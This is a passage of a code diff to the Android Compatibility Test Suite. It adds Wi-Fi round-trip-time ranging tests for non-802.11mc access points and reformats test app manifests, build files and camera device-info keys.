+                Thread.sleep(INTERVAL_BETWEEN_FAILURE_SCAN_MILLIS);
+            }
             scanCount++;
         }
+        return bestTestAp;
+    }
 
+    /**
+     * Start a scan and return a test AP which does NOT support IEEE 802.11mc, with a BSS in the
+     * 5GHz band, and which has the highest RSSI. Will perform N (parameterized) scans and get
+     * the best AP across all scan results.
+     *
+     * Returns null if test AP is not found in the specified number of scans.
+     *
+     * @param numScanRetries Maximum number of scans retries (in addition to first scan).
+     */
+    protected ScanResult scanForTestNon11mcCapableAp(int numScanRetries)
+            throws InterruptedException {
+        int scanCount = 0;
+        ScanResult bestTestAp = null;
+        while (scanCount <= numScanRetries) {
+            for (ScanResult scanResult : scanAps()) {
+                // Ensure using a 5GHz or greater channel
+                if (scanResult.is80211mcResponder()
+                        || scanResult.centerFreq0 < FREQUENCY_OF_5GHZ_BAND_IN_MHZ) {
+                    continue;
+                }
+                if (bestTestAp == null || scanResult.level > bestTestAp.level) {
+                    bestTestAp = scanResult;
+                }
+            }
+            if (bestTestAp == null) {
+                // Ongoing connection may cause scan failure, wait for a while before next scan.
+                Thread.sleep(INTERVAL_BETWEEN_FAILURE_SCAN_MILLIS);
+            }
+            scanCount++;
+        }
         return bestTestAp;
     }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
index cfd6448..657a463 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -26,6 +26,8 @@
 import android.net.wifi.rtt.ResponderLocation;
 import android.platform.test.annotations.AppModeFull;
 
+import androidx.core.os.BuildCompat;
+
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
@@ -51,6 +53,9 @@
     // Maximum variation from the average measurement (measures consistency)
     private static final int MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM = 2000;
 
+    // Maximum failure rate of one-sided RTT measurements (percentage)
+    private static final int MAX_NON11MC_FAILURE_RATE_PERCENT = 40;
+
     // Minimum valid RSSI value
     private static final int MIN_VALID_RSSI = -100;
 
@@ -68,19 +73,25 @@
      *   - Failure ratio < threshold (constant)
      *   - Result margin < threshold (constant)
      */
-    public void testRangingToTestAp() throws InterruptedException {
+    public void testRangingToTest11mcAp() throws InterruptedException {
         if (!shouldTestWifiRtt(getContext())) {
             return;
         }
 
         // Scan for IEEE 802.11mc supporting APs
-        ScanResult testAp = scanForTestAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
+        ScanResult testAp = scanForTest11mcCapableAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
         assertNotNull(
                 "Cannot find any test APs which support RTT / IEEE 802.11mc - please verify that "
                         + "your test setup includes them!", testAp);
 
         // Perform RTT operations
-        RangingRequest request = new RangingRequest.Builder().addAccessPoint(testAp).build();
+        RangingRequest.Builder builder = new RangingRequest.Builder();
+        builder.addAccessPoint(testAp);
+        if (BuildCompat.isAtLeastS()) {
+            builder.setRttBurstSize(RangingRequest.getMaxRttBurstSize());
+        }
+        RangingRequest request = builder.build();
+
         List<RangingResult> allResults = new ArrayList<>();
         int numFailures = 0;
         int distanceSum = 0;
@@ -116,6 +127,14 @@
             int status = result.getStatus();
             statuses[i] = status;
             if (status == RangingResult.STATUS_SUCCESS) {
+                if (BuildCompat.isAtLeastS()) {
+                    assertEquals(
+                            "Wi-Fi RTT results: invalid result (wrong rttBurstSize) entry on "
+                                    + "iteration "
+                                    + i,
+                            result.getNumAttemptedMeasurements(),
+                            RangingRequest.getMaxRttBurstSize());
+                }
                 distanceSum += result.getDistanceMm();
                 if (i == 0) {
                     distanceMin = result.getDistanceMm();
@@ -198,7 +217,7 @@
         if (!shouldTestWifiRtt(getContext())) {
             return;
         }
-        ScanResult testAp = scanForTestAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
+        ScanResult testAp = scanForTest11mcCapableAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
         assertNotNull(
                 "Cannot find any test APs which support RTT / IEEE 802.11mc - please verify that "
                         + "your test setup includes them!", testAp);
@@ -233,7 +252,7 @@
             return;
         }
         // Scan for IEEE 802.11mc supporting APs
-        ScanResult testAp = scanForTestAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
+        ScanResult testAp = scanForTest11mcCapableAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
         assertNotNull(
                 "Cannot find any test APs which support RTT / IEEE 802.11mc - please verify that "
                         + "your test setup includes them!", testAp);
@@ -416,4 +435,173 @@
         assertNotNull("Wi-Fi RTT results: null results", rangingResults);
         assertEquals("Invalid peerHandle should return 0 result", 0, rangingResults.size());
     }
+
+    /**
+     * Test Wi-Fi One-sided RTT ranging operation:
+     * - Scan for visible APs for the test AP (which do not support IEEE 802.11mc) and are operating
+     * - in the 5GHz band.
+     * - Perform N (constant) RTT operations
+     * - Remove outliers while insuring greater than 50% of the results still remain
+     * - Validate:
+     *   - Failure ratio < threshold (constant)
+     *   - Result margin < threshold (constant)
+     */
+    public void testRangingToTestNon11mcAp() throws InterruptedException {
+        if (!shouldTestWifiRtt(getContext()) || !BuildCompat.isAtLeastS()) {
+            return;
+        }
+
+        // Scan for Non-IEEE 802.11mc supporting APs
+        ScanResult testAp = scanForTestNon11mcCapableAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
+        assertNotNull(
+                "Cannot find any test APs which are Non-IEEE 802.11mc - please verify that"
+                        + " your test setup includes them!", testAp);
+
+        // Perform RTT operations
+        RangingRequest.Builder builder = new RangingRequest.Builder();
+        builder.addNon80211mcCapableAccessPoint(testAp);
+        builder.setRttBurstSize(RangingRequest.getMaxRttBurstSize());
+        RangingRequest request = builder.build();
+
+        List<RangingResult> allResults = new ArrayList<>();
+        int numFailures = 0;
+        int distanceSum = 0;
+        int distanceMin = 0;
+        int distanceMax = 0;
+        int[] statuses = new int[NUM_OF_RTT_ITERATIONS];
+        int[] distanceMms = new int[NUM_OF_RTT_ITERATIONS];
+        boolean[] distanceInclusionMap = new boolean[NUM_OF_RTT_ITERATIONS];
+        int[] distanceStdDevMms = new int[NUM_OF_RTT_ITERATIONS];
+        int[] rssis = new int[NUM_OF_RTT_ITERATIONS];
+        int[] numAttempted = new int[NUM_OF_RTT_ITERATIONS];
+        int[] numSuccessful = new int[NUM_OF_RTT_ITERATIONS];
+        long[] timestampsMs = new long[NUM_OF_RTT_ITERATIONS];
+        byte[] lastLci = null;
+        byte[] lastLcr = null;
+        for (int i = 0; i < NUM_OF_RTT_ITERATIONS; ++i) {
+            ResultCallback callback = new ResultCallback();
+            mWifiRttManager.startRanging(request, mExecutor, callback);
+            assertTrue("Wi-Fi RTT results: no callback on iteration " + i,
+                    callback.waitForCallback());
+
+            List<RangingResult> currentResults = callback.getResults();
+            assertNotNull(
+                    "Wi-Fi RTT results: null results (onRangingFailure) on iteration " + i,
+                    currentResults);
+            assertEquals(
+                    "Wi-Fi RTT results: unexpected # of results (expect 1) on iteration " + i,
+                    1, currentResults.size());
+            RangingResult result = currentResults.get(0);
+            assertEquals(
+                    "Wi-Fi RTT results: invalid result (wrong BSSID) entry on iteration " + i,
+                    result.getMacAddress().toString(), testAp.BSSID);
+
+            assertNull(
+                    "Wi-Fi RTT results: invalid result (non-null PeerHandle) entry on iteration "
+                            + i, result.getPeerHandle());
+
+            allResults.add(result);
+            int status = result.getStatus();
+            statuses[i] = status;
+            if (status == RangingResult.STATUS_SUCCESS) {
+                distanceSum += result.getDistanceMm();
+
+                assertTrue("Wi-Fi RTT results: invalid RSSI on iteration " + i,
+                        result.getRssi() >= MIN_VALID_RSSI);
+
+                distanceMms[i - numFailures] = result.getDistanceMm();
+                distanceStdDevMms[i - numFailures] = result.getDistanceStdDevMm();
+                rssis[i - numFailures] = result.getRssi();
+                // For one-sided RTT the number of packets attempted in a burst is not available,
+                // So we set the result to be the same as used in the request.
+                numAttempted[i - numFailures] = request.getRttBurstSize();
+                numSuccessful[i - numFailures] = result.getNumSuccessfulMeasurements();
+                timestampsMs[i - numFailures] = result.getRangingTimestampMillis();
+
+                byte[] currentLci = result.getLci();
+                byte[] currentLcr = result.getLcr();
+                if (i - numFailures > 0) {
+                    assertTrue("Wi-Fi RTT results: invalid result (LCI mismatch) on iteration " + i,
+                            Arrays.equals(currentLci, lastLci));
+                    assertTrue("Wi-Fi RTT results: invalid result (LCR mismatch) on iteration " + i,
+                            Arrays.equals(currentLcr, lastLcr));
+                }
+                lastLci = currentLci;
+                lastLcr = currentLcr;
+            } else {
+                numFailures++;
+            }
+            // Sleep a while to avoid stress AP.
+            Thread.sleep(intervalMs);
+        }
+        // Save results to log
+        int numGoodResults = NUM_OF_RTT_ITERATIONS - numFailures;
+        DeviceReportLog reportLog = new DeviceReportLog(TAG, "testRangingToTestAp");
+        reportLog.addValues("status_codes", statuses, ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValues("distance_mm", Arrays.copyOf(distanceMms, numGoodResults),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValues("distance_stddev_mm",
+                Arrays.copyOf(distanceStdDevMms, numGoodResults),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValues("rssi_dbm", Arrays.copyOf(rssis, numGoodResults),
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+        reportLog.addValues("num_attempted", Arrays.copyOf(numAttempted, numGoodResults),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValues("num_successful", Arrays.copyOf(numSuccessful, numGoodResults),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValues("timestamps", Arrays.copyOf(timestampsMs, numGoodResults),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.submit();
+
+        // Analyze results
+        assertTrue("Wi-Fi RTT failure rate exceeds threshold: FAIL=" + numFailures
+                        + ", ITERATIONS="
+                        + NUM_OF_RTT_ITERATIONS + ", AP RSSI=" + testAp.level
+                        + ", AP SSID=" + testAp.SSID,
+                numFailures <= NUM_OF_RTT_ITERATIONS * MAX_NON11MC_FAILURE_RATE_PERCENT / 100);
+
+        if (numFailures != NUM_OF_RTT_ITERATIONS) {
+            // Calculate an initial average using all measurements to determine distance outliers
+            double distanceAvg = (double) distanceSum / (NUM_OF_RTT_ITERATIONS - numFailures);
+            // Now figure out the distance outliers and mark them in the distance inclusion map
+            int validDistances = 0;
+            for (int i = 0; i < (NUM_OF_RTT_ITERATIONS - numFailures); i++) {
+                if (distanceMms[i] - MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM < distanceAvg) {
+                    // Distances that are in range for the distribution are included in the map
+                    distanceInclusionMap[i] = true;
+                    validDistances++;
+                } else {
+                    // Distances that are out of range for the distribution are excluded in the map
+                    distanceInclusionMap[i] = false;
+                }
+            }
+
+            assertTrue("After fails+outlier removal greater that 50% distances must remain: " +
+                    NUM_OF_RTT_ITERATIONS / 2, validDistances > NUM_OF_RTT_ITERATIONS / 2);
+
+            // Remove the distance outliers and find the new average, min and max.
+            distanceSum = 0;
+            distanceMax = Integer.MIN_VALUE;
+            distanceMin = Integer.MAX_VALUE;
+            for (int i = 0; i < (NUM_OF_RTT_ITERATIONS - numFailures); i++) {
+                if (distanceInclusionMap[i]) {
+                    distanceSum += distanceMms[i];
+                    distanceMin = Math.min(distanceMin, distanceMms[i]);
+                    distanceMax = Math.max(distanceMax, distanceMms[i]);
+                }
+            }
+            distanceAvg = (double) distanceSum / validDistances;
+            assertTrue("Wi-Fi RTT: Variation (max direction) exceeds threshold, Variation ="
+                            + (distanceMax - distanceAvg),
+                    (distanceMax - distanceAvg) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
+            assertTrue("Wi-Fi RTT: Variation (min direction) exceeds threshold, Variation ="
+                            + (distanceAvg - distanceMin),
+                    (distanceAvg - distanceMin) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
+            for (int i = 0; i < numGoodResults; ++i) {
+                assertNotSame("Number of attempted measurements is 0", 0, numAttempted[i]);
+                assertNotSame("Number of successful measurements is 0", 0, numSuccessful[i]);
+            }
+        }
+    }
 }
diff --git a/tests/tests/wrap/nowrap/AndroidManifest.xml b/tests/tests/wrap/nowrap/AndroidManifest.xml
index 927f1ef..c42ec94 100644
--- a/tests/tests/wrap/nowrap/AndroidManifest.xml
+++ b/tests/tests/wrap/nowrap/AndroidManifest.xml
@@ -16,25 +16,26 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.wrap.nowrap.cts">
+     package="android.wrap.nowrap.cts">
 
     <!-- Ensure that wrap.sh is extracted. -->
-    <application android:debuggable="true" android:extractNativeLibs="true">
-        <uses-library android:name="android.test.runner" />
-        <meta-data android:name="android.wrap.cts.expext_env" android:value="false" />
-        <activity android:name="android.wrap.WrapActivity" >
+    <application android:debuggable="true"
+         android:extractNativeLibs="true">
+        <uses-library android:name="android.test.runner"/>
+        <meta-data android:name="android.wrap.cts.expext_env"
+             android:value="false"/>
+        <activity android:name="android.wrap.WrapActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for wrap.sh"
-        android:targetPackage="android.wrap.nowrap.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for wrap.sh"
+         android:targetPackage="android.wrap.nowrap.cts">
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/wrap/wrap_debug/AndroidManifest.xml b/tests/tests/wrap/wrap_debug/AndroidManifest.xml
index b68aefb..aed6388 100644
--- a/tests/tests/wrap/wrap_debug/AndroidManifest.xml
+++ b/tests/tests/wrap/wrap_debug/AndroidManifest.xml
@@ -16,25 +16,26 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.wrap.wrap_debug.cts">
+     package="android.wrap.wrap_debug.cts">
 
     <!-- Ensure that wrap.sh is extracted. -->
-    <application android:debuggable="true" android:extractNativeLibs="true">
-        <uses-library android:name="android.test.runner" />
-        <meta-data android:name="android.wrap.cts.expext_env" android:value="true" />
-        <activity android:name="android.wrap.WrapActivity" >
+    <application android:debuggable="true"
+         android:extractNativeLibs="true">
+        <uses-library android:name="android.test.runner"/>
+        <meta-data android:name="android.wrap.cts.expext_env"
+             android:value="true"/>
+        <activity android:name="android.wrap.WrapActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for wrap.sh"
-        android:targetPackage="android.wrap.wrap_debug.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for wrap.sh"
+         android:targetPackage="android.wrap.wrap_debug.cts">
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml
index d00194b..d52119a 100644
--- a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml
@@ -16,25 +16,26 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.wrap.wrap_debug_malloc_debug.cts">
+     package="android.wrap.wrap_debug_malloc_debug.cts">
 
     <!-- Ensure that wrap.sh is extracted. -->
-    <application android:debuggable="true" android:extractNativeLibs="true">
-        <uses-library android:name="android.test.runner" />
-        <meta-data android:name="android.wrap.cts.expext_env" android:value="true" />
-        <activity android:name="android.wrap.WrapActivity" >
+    <application android:debuggable="true"
+         android:extractNativeLibs="true">
+        <uses-library android:name="android.test.runner"/>
+        <meta-data android:name="android.wrap.cts.expext_env"
+             android:value="true"/>
+        <activity android:name="android.wrap.WrapActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for wrap.sh"
-        android:targetPackage="android.wrap.wrap_debug_malloc_debug.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for wrap.sh"
+         android:targetPackage="android.wrap.wrap_debug_malloc_debug.cts">
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml b/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml
index 9504883..b638726 100644
--- a/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml
+++ b/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml
@@ -16,25 +16,25 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.wrap.wrap_nodebug.cts">
+     package="android.wrap.wrap_nodebug.cts">
 
     <!-- Ensure that wrap.sh is extracted. -->
     <application android:extractNativeLibs="true">
-        <uses-library android:name="android.test.runner" />
-        <meta-data android:name="android.wrap.cts.expext_env" android:value="false" />
-        <activity android:name="android.wrap.WrapActivity" >
+        <uses-library android:name="android.test.runner"/>
+        <meta-data android:name="android.wrap.cts.expext_env"
+             android:value="false"/>
+        <activity android:name="android.wrap.WrapActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for wrap.sh"
-        android:targetPackage="android.wrap.wrap_nodebug.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for wrap.sh"
+         android:targetPackage="android.wrap.wrap_nodebug.cts">
     </instrumentation>
 </manifest>
-
diff --git a/tests/tvprovider/Android.bp b/tests/tvprovider/Android.bp
index ce09817..a99191e 100644
--- a/tests/tvprovider/Android.bp
+++ b/tests/tvprovider/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsTvProviderTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tvprovider/TEST_MAPPING b/tests/tvprovider/TEST_MAPPING
new file mode 100644
index 0000000..a0b06c4
--- /dev/null
+++ b/tests/tvprovider/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsTvProviderTestCases"
+    }
+  ]
+}
diff --git a/tests/video/Android.bp b/tests/video/Android.bp
index e3f5133..2741e64a 100644
--- a/tests/video/Android.bp
+++ b/tests/video/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsVideoTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/vr/Android.bp b/tests/vr/Android.bp
index c396922..69c9cd2 100644
--- a/tests/vr/Android.bp
+++ b/tests/vr/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsVrTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/vr/AndroidManifest.xml b/tests/vr/AndroidManifest.xml
index cc60bd2..0196566 100644
--- a/tests/vr/AndroidManifest.xml
+++ b/tests/vr/AndroidManifest.xml
@@ -13,49 +13,48 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.vr.cts"
-    android:versionCode="1"
-    android:versionName="1.0" >
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
-    <uses-sdk android:minSdkVersion="14" />
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.vr.cts"
+     android:versionCode="1"
+     android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+    <uses-sdk android:minSdkVersion="14"/>
     <uses-feature android:glEsVersion="0x00020000"/>
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.vr.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.vr.cts">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
-    <application
-        android:icon="@drawable/ic_launcher"
-        android:label="@string/app_name"
-        android:hardwareAccelerated="false" >
+    <application android:icon="@drawable/ic_launcher"
+         android:label="@string/app_name"
+         android:hardwareAccelerated="false">
 
 	<service android:name="com.android.cts.verifier.vr.MockVrListenerService"
-            android:exported="true"
-            android:enabled="true"
-            android:label="@string/vr_service_name"
-            android:permission="android.permission.BIND_VR_LISTENER_SERVICE">
+    	 android:exported="true"
+    	 android:enabled="true"
+    	 android:label="@string/vr_service_name"
+    	 android:permission="android.permission.BIND_VR_LISTENER_SERVICE">
             <intent-filter>
-                <action android:name="android.service.vr.VrListenerService" />
+                <action android:name="android.service.vr.VrListenerService"/>
             </intent-filter>
         </service>
 
-         <activity
-            android:label="@string/app_name"
-            android:name="android.vr.cts.OpenGLESActivity">
+         <activity android:label="@string/app_name"
+              android:name="android.vr.cts.OpenGLESActivity">
          </activity>
          <activity android:name=".CtsActivity"
-                  android:label="CtsActivity">
+              android:label="CtsActivity"
+              android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
-         <uses-library  android:name="android.test.runner" />
+         <uses-library android:name="android.test.runner"/>
     </application>
 
 </manifest>
diff --git a/tests/vr/jni/Android.bp b/tests/vr/jni/Android.bp
index d7f77fe..1bdc092 100644
--- a/tests/vr/jni/Android.bp
+++ b/tests/vr/jni/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_library_shared {
     name: "libctsvrextensions_jni",
     cflags: [
diff --git a/tools/cfassembler/Android.bp b/tools/cfassembler/Android.bp
index c9ab62b..a5431d1 100644
--- a/tools/cfassembler/Android.bp
+++ b/tools/cfassembler/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_binary_host {
   name: "cfassembler",
   srcs: [
diff --git a/tools/cts-api-coverage/Android.bp b/tools/cts-api-coverage/Android.bp
index b25afa1..95395ed 100644
--- a/tools/cts-api-coverage/Android.bp
+++ b/tools/cts-api-coverage/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_host {
     name: "api-coverage",
 
diff --git a/tools/cts-device-info/jni/Android.bp b/tools/cts-device-info/jni/Android.bp
index 707a4d2..bbf7f5b 100644
--- a/tools/cts-device-info/jni/Android.bp
+++ b/tools/cts-device-info/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_library_shared {
     name: "libctsdeviceinfo",
     srcs: [
diff --git a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
index e0fcbb0..0c73c32 100644
--- a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
+++ b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
@@ -536,6 +536,8 @@
         charsKeyNames.add(CameraCharacteristics.SCALER_CROPPING_TYPE.getName());
         charsKeyNames.add(CameraCharacteristics.SCALER_MANDATORY_STREAM_COMBINATIONS.getName());
         charsKeyNames.add(CameraCharacteristics.SCALER_MANDATORY_CONCURRENT_STREAM_COMBINATIONS.getName());
+        charsKeyNames.add(CameraCharacteristics.SCALER_AVAILABLE_ROTATE_AND_CROP_MODES.getName());
+        charsKeyNames.add(CameraCharacteristics.SCALER_DEFAULT_SECURE_IMAGE_SIZE.getName());
         charsKeyNames.add(CameraCharacteristics.SENSOR_REFERENCE_ILLUMINANT1.getName());
         charsKeyNames.add(CameraCharacteristics.SENSOR_REFERENCE_ILLUMINANT2.getName());
         charsKeyNames.add(CameraCharacteristics.SENSOR_CALIBRATION_TRANSFORM1.getName());
diff --git a/tools/cts-dynamic-config/Android.mk b/tools/cts-dynamic-config/Android.mk
index fae519c..4cb0c96 100644
--- a/tools/cts-dynamic-config/Android.mk
+++ b/tools/cts-dynamic-config/Android.mk
@@ -17,8 +17,6 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := cts-dynamic-config
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_CLASS := FAKE
 LOCAL_IS_HOST_MODULE := true
 
diff --git a/tools/cts-holo-generation/Android.bp b/tools/cts-holo-generation/Android.bp
index a67310b..49c4a34 100644
--- a/tools/cts-holo-generation/Android.bp
+++ b/tools/cts-holo-generation/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_app {
     name: "CtsHoloGeneration",
     dex_preopt: {
diff --git a/tools/cts-holo-generation/AndroidManifest.xml b/tools/cts-holo-generation/AndroidManifest.xml
index 41fab00..85332bb 100644
--- a/tools/cts-holo-generation/AndroidManifest.xml
+++ b/tools/cts-holo-generation/AndroidManifest.xml
@@ -1,20 +1,21 @@
 <?xml version="1.0" encoding="utf-8"?>
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-      package="com.android.cts.holo_capture"
-      android:versionCode="1"
-      android:versionName="1.0">
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.holo_capture" />
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.holo_capture"
+     android:versionCode="1"
+     android:versionName="1.0">
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.holo_capture"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name=".CaptureActivity">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name=".CaptureActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
diff --git a/tools/cts-media-preparer-app/Android.bp b/tools/cts-media-preparer-app/Android.bp
index cbad568..c073617 100644
--- a/tools/cts-media-preparer-app/Android.bp
+++ b/tools/cts-media-preparer-app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsMediaPreparerApp",
     defaults: ["cts_defaults"],
diff --git a/tools/cts-preconditions/Android.bp b/tools/cts-preconditions/Android.bp
index d68585b..d7d29bc 100644
--- a/tools/cts-preconditions/Android.bp
+++ b/tools/cts-preconditions/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsPreconditions",
 
@@ -35,5 +31,5 @@
     ],
 
     // android.test.base exists starting from 28
-    sdk_version: "28",
+    sdk_version: "30",
 }
diff --git a/tools/cts-tradefed/Android.bp b/tools/cts-tradefed/Android.bp
index bea7ed6..93c2062 100644
--- a/tools/cts-tradefed/Android.bp
+++ b/tools/cts-tradefed/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
